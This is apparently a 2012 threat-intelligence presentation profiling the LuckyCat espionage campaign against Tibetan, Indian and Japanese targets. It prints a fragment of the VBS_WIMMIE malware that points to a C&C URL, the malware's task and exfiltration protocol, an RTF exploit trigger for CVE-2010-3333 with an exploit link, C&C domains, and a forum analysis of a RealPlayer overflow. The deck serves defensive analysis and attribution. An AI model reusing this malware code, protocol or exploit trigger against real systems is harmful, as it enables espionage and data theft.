March 2012 | APT Campaign Quick Profile: LUCKYCAT

Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victim's network so they can move laterally and exfiltrate data. Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage.

- Victims and Targets

  - AEROSPACE
  - ENERGY
  - ENGINEERING
  - SHIPPING
  - MILITARY RESEARCH
  - TIBETAN ACTIVISTS
LuckyCat

- Organized Cyber-Crime (tracing back to China)
- Targets in India, Japan and Tibet.
- Research facilities belonging to Military, Universities and Governments
- Areas of aerospace, energy and astronautics.
- The gang behind Luckycat has also been responsible:
  - compromising the power grid of at least one country
  - foreign ministries and targeting Tibetan activists – both inside and outside Tibet.
Targeted emails & social-engineered decoy documents

- Fukushima disaster | Doses measurement
India

- Indian's Missilistic Defense Program (RMD)
Tibet
Insights into decoy documents

• Triggered vulnerabilities
  – Adobe Reader—CVE-2010-2883
  – Microsoft Office—CVE-2010-3333
    • Bug in Word's RTF parser. “pFragments” 's shape property is given a malformed value
      • \{"rtf1\{\shp{\sp{\sn pFragments}{\sv \&exploit\ code\}}}}
        http://downloads.securityfocus.com/vulnerabilities/exploits/44652.rb

• First-stage malware: TROJ_WIMMIE.C and VBS_WIMMIE.SMC
VBS_WIMMIE

- Hijack WMI (remote administration service)
- Delete itself. Hidden to Antivirus

```vbnet
crFD=C:\DOCUMENTS\admin\LOCALS\~1\Temp\~temp.vbs : ExeFD=C:\DOCUMENTS\admin\LOCALS\~1\Temp\Winword.exe
Sname=http://masterchoice.shop.co/count/count.php : Ainfo=longjian
Set objFSO=CreateObject("Scripting.FileSystemObject")
WMILink="wirmgmts:\.\root\subscription;"
TrojanName="Microsoft WMI Consumer Security Event"
TrojanRunTimer=30000
strtxt="var pageURL="&Sname&";"
var addinf="&Ainfo&"
var Unicode2ISO = {};
var ISO2Unicode = {};
for(var i=0;i<256;i++){
  Unicode2ISO[i]=i;
  ISO2Unicode[i]=i;
}
var ISOlen = ISO88592Offset.length;
for(var i=0;i<ISOlen;i++){
  Unicode2ISO[ISO88592Offset[i]]=ISO88592Offset[i+1];
  ISO2Unicode[ISO88592Offset[i+1]]=ISO88592Offset[i];
}
xmlhttp=CreateXMLHttp();
var objHostname=GetHostInf();
RunFun();
```
C&C protocol

- **Register to the C&C**
  
  - POST /count/count.php?m=c&n=[HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_CODE]

- **Pulls task0 (info-gathering: `ipconfig`, `tasklist`, `systeminfo`)**
  
  - GET /count/count.php?m=r&n=[HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_CODE]@.c

- **Pushes back results (down.cab)**
  
  - POST /count/count.php?m=w&n=[HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_CODE]@.t

- **Deletes task and waits for more**
  
  - GET /count/count.php?m=d&n=[HOSTNAME]_[MAC_ADDRESS]_[CAMPAIGN_CODE]@.c

- **While 1**
C&C Servers

- Identified by looking up the C&C's URL path in customers' HTTP data (`trawler`)

<table>
<thead>
<tr>
<th>C&amp;C Servers</th>
<th>C&amp;C Servers</th>
<th>C&amp;C Servers</th>
</tr>
</thead>
<tbody>
<tr>
<td>cattree.1x.biz</td>
<td>charlesbrain.shop.co</td>
<td>footballworldcup.website.org</td>
</tr>
<tr>
<td>frankwhales.shop.co</td>
<td>hi21222325.x.gg</td>
<td>bailianlan.c.dwuy.com</td>
</tr>
<tr>
<td>kinkeechow.shop.co</td>
<td>kittyshop.kilu.org</td>
<td>perfect.shop.co</td>
</tr>
<tr>
<td>toms.0fees.net</td>
<td>tomsburs.shop.co</td>
<td>vpoasport.shopping2000.com</td>
</tr>
<tr>
<td>goodwill.all.co.uk</td>
<td>fireequipment.website.org</td>
<td>tennissport.website.org</td>
</tr>
<tr>
<td>waterpool.website.org</td>
<td>clbest.greenglassint.net</td>
<td>tb123.xoomsite.com</td>
</tr>
<tr>
<td>tbda123.gwchost.com</td>
<td>pumasports.website.org</td>
<td>tomygreen.0fees.net</td>
</tr>
<tr>
<td>killmannets.0fees.net</td>
<td>maritimemaster.kilu.org</td>
<td>duojee.info</td>
</tr>
<tr>
<td>masterchoice.shop.co</td>
<td>jeepvihecle.shop.co</td>
<td>lucysmith.0fees.net</td>
</tr>
</tbody>
</table>
Attacker's Modus Operandi

- Luckycat users connect to the C&C server
- Symantec investigation of attacker 43/45 IPs traces back to the Sichuan Province in China
Spying on spies

- The attacker used one of its machines as test-bed installation!
- Hands on 'down.cab'
- Chinese Installation

```
<table>
<thead>
<tr>
<th>File Size</th>
<th>Date</th>
<th>Time</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>607102</td>
<td>23.08.2011</td>
<td>15:17:12</td>
<td>.tmp</td>
</tr>
<tr>
<td>0</td>
<td>23.08.2011</td>
<td>15:17:12</td>
<td>D.tmp</td>
</tr>
<tr>
<td>0</td>
<td>23.08.2011</td>
<td>15:17:12</td>
<td>E.tmp</td>
</tr>
<tr>
<td>0</td>
<td>23.08.2011</td>
<td>15:17:12</td>
<td>F.tmp</td>
</tr>
<tr>
<td>0</td>
<td>23.08.2011</td>
<td>15:17:12</td>
<td>G.tmp</td>
</tr>
<tr>
<td>0</td>
<td>23.08.2011</td>
<td>15:17:12</td>
<td>H.tmp</td>
</tr>
<tr>
<td>0</td>
<td>23.08.2011</td>
<td>15:17:12</td>
<td>I.tmp</td>
</tr>
<tr>
<td>0</td>
<td>23.08.2011</td>
<td>15:17:12</td>
<td>J.tmp</td>
</tr>
<tr>
<td>1159</td>
<td>23.08.2011</td>
<td>15:17:12</td>
<td>K.tmp</td>
</tr>
<tr>
<td>1970</td>
<td>23.08.2011</td>
<td>15:17:14</td>
<td>L.tmp</td>
</tr>
<tr>
<td>1608</td>
<td>23.08.2011</td>
<td>15:17:14</td>
<td>M.tmp</td>
</tr>
</tbody>
</table>
```

- C.tmp -> Directory of C:\
- J.tmp -> Output of ipconfig
- K.tmp -> Output of systeminfo
- M.tmp -> Output of tasklist

| Hardware: | PC-201201109959 |
| OS 名称: | Microsoft Windows XP Professional |
| OS 版本: | 5.1.2600 Service Pack 3 Build 2600 |
| OS 制造商: | Microsoft Corporation |
| OS 配置: | 独立工作站 |
| OS 架构类型: | Uniprocessor Free |
| 注册的所有人: | 中国用户 |
| 注册的组织: | 中国组织 |
| 产品 ID: | 76481-648-8834085-23310 |
| 初始安装日期: | 2012-1-18, 7:33:03 |
| 系统启动时间: | 未记录 |
| 系统制造商: | VMware, Inc. |
| 系统类型: | VMware Virtual Platform |
| 系统类型: | x86-based PC |
| 处理器: | 安装了 1 个处理器 |
| [01]: x86 Family 6 Model 42 Stepping 7 GenuineIntel -3.063 Mhz |
| BIOS 版本: | INTEL - 6040080 |
| Windows 旧版本: | C:\WINDOWS |
| 手动目录: | C:\WINDOWS\system32 |
| 启动设备: | Device\HarddiskVolume1 |
| 系统区域设置: | zh-cn;中文(中国) |
| 输入法区域设置: | zh-cn;中文(中国) |
| 时区: | 首都 |
| 磁盘内容总量: | 319 MB |
| 可用的物理内容: | 319 MB |
| 虚拟内存: | 最大值: 2,048 MB |
| 虚拟内存: | 可用: 2,048 MB |
| 虚拟内存: | 使用中: 45 MB |
| 页面文件位置: | C:\pagefile.sys |
| 紧急: | WORKGROUP |
| 登录服务器: | 首都 |
| 修补程序: | 安装了 273 个修补程序 |
TOR configured for emailing

- Supermailer and Foxmail-clone for China
Explains the social-engineering emails

Received: from [74.120.132] by web121501.mx with mx; Mon, 13 Jan 2012 23:47:08 -0800 (PST)
From: Tibetan Refugee Center <reception_center>
Subject: Fw: Tibetan self-immolations continue
To: 
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="1389"
Content-Length: 214173

This network is used for research in anonymisation services and provides a Tor Exit Node to end users:
http://www.torservers.net/
Send abuse issues to abuse@torservers.net
Victims

- The attacker downloaded the list of victims on his installation
- The list corresponds to the content stored on the C&C
- Directory-listing enabled
Attribution

- Registered hundreds of domains
- Attackers' mistake: **whois leakage**
<table>
<thead>
<tr>
<th>发表于：2005-12-20 15:12</th>
</tr>
</thead>
<tbody>
<tr>
<td>dang0102</td>
</tr>
</tbody>
</table>

最近研究这个漏洞，发现有些问题可以提出和大家讨论。漏洞的公告可参见：
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2629

对于这个漏洞，首先考虑rm文件格式分析了漏洞。通过INDEX RECORD找到了在缓冲区中的first data packet地址，然后找到该packet的长度域。该长度域包含在data packet的头部结构中，头部结构定义如下：

```
Media_Packet_Header
{
    UINT16 object_version;
    if (object_version == 0)
    {
        UINT16 length;
        UINT16 stream_number;
        UINT32 timestamp;
        UINT8 reserved;
        UINT8 flags;
        UINT8[length] data;
    }
}
```

该结构中有两处length，其中，UINT16 length是整个packet的长度，UINT8[length]表示为The application-specific media data，定义不是很清楚。按照漏洞公告，应该是realplay在解析first data packet长度域的时候没有对长度值这个有符号数进行检查，当作无符号数处理了，造成整数溢出，并进而导致了数据拷贝的时候的溢出。这个长度在公告中说明的是一个字节，并且的设置为0x80——0xff的时候溢出发生。

由于有两处length，我只好换个词。按UINT16 length的时候，偶尔溢出发生，但每次溢出之前关闭程序在用realplay打开的时候就没有异常了，而是正常播放，然后在重新添加之后再播放，异常再次发生，但是改SoSource KBufferException,后队伍说明一直没有了异常；而改UINT8[length]的情况下异常偶尔也会不出现。

此外，每次出现异常的时候，我用VC调试器调试不久，该调试器也会出现异常。我怀疑这是realplay程序增加了反调试和脱机机制，但只是猜测而已。

情况大致就是这样，如果大家觉得有不清楚的地方可以提出来。对于漏洞研究有兴趣的朋友，我们可以一起多讨论。
scuhkr@students_BBS

- Information Security Institute of the Sichuan University
- Recruitment of students for attack/defense project
- Articles in hacking magazines
- The other email is associated to a similar profile
Connected campaigns

- One of the targeted emails contained two malicious file attachments.

China announces Stepped-up Control in Tibetan Monasteries

In the wake of recurring self-immolations inside in Tibet, China has announced that it will step-up its control on the management of monasteries across Tibet. According to Xinhua, a CCP mouthpiece, senior officials of Tibet Autonomous Region have pledged to increase efforts to strengthen the management of monasteries in the ‘fight against the Dalai Lama group’.

Analysts say that increasing desperation over government restrictions on religious practice and the absence of any alternative forms of expressing grievances in Tibet are the reasons behind the self immolations that have taken place over the last year. During a meeting, the Deputy head of the Chinese People’s Political Consultative Conference-Tibet Committee announced that the committee will focus this year’s work on strengthening government management of monasteries.

US_Seriously__molations.doc  Lama_Sopa_Tul...molation.pdf
Shadownet

- Targeted Tibetan activists
- Stole secret documents from the Indian government
- Compromised the Dali Lama's email
Duojeen

- Targeted Tibetan community
- Shared C&C server: duojee.info
- Similar exploits and dropper
Maltego

- Visualization platform for
  - Open Source Intelligence (OSINT)
  - Forensics Investigations
  - Incidents Handling
- Used to conduct investigations in general
- Custom plugins interfacing with our backend intelligence databases
Demo!